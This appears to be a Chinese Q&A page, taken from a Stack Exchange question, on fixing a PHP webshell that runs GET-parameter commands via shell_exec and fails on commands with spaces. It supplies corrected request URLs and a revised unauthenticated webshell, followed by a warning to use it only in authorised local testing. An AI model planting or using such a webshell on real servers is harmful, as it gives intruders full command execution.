You need to enable JavaScript to run this app. 使用GET参数的PHP反向shell无法执行带空格命令如何解决
优惠活动
大模型
产品
解决方案
定价
更多

使用GET参数的PHP反向shell无法执行带空格命令如何解决

问题解决方法

根因定位

你的报错和字符串编码无关,核心问题是传参时的冗余引号导致shell解析异常:
你在请求URL中给cmd参数包裹了双引号,$_GET会将引号也纳入参数值,最终传入shell_exec的内容是"ls -lh"。shell会把带引号的整段字符串识别为单个命令名,系统中不存在名为ls -lh的二进制文件,因此抛出command not found错误。
同时你贴出的原始代码存在语法错误:shell_exec($_GET['cmd']))多写了一个右括号,正式运行前需要先修正。

修复步骤

第一步:调整请求调用规则

不需要给cmd参数加任何引号,参数内的空格直接做URL编码即可:

# 正确调用示例
shell.php?cmd=ls%20-lh
shell.php?cmd=ps%20aux

第二步:代码兼容性优化(可选)

如果需要兼容带引号的传参场景,可以增加参数预处理逻辑:

<?php
// 去除参数首尾的单引号、双引号,同时修复原代码语法错误
$cmd = trim($_GET['cmd'], '\'"');
$res = shell_exec($cmd);
var_dump($res);
?>

安全提醒

此类无权限校验、无输入过滤的Webshell仅可用于本地授权的测试场景,绝对禁止部署到公网可访问的环境,会直接导致服务器完全被入侵者控制。

内容的提问来源于stack exchange,提问作者user12213762

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.08 23:51:02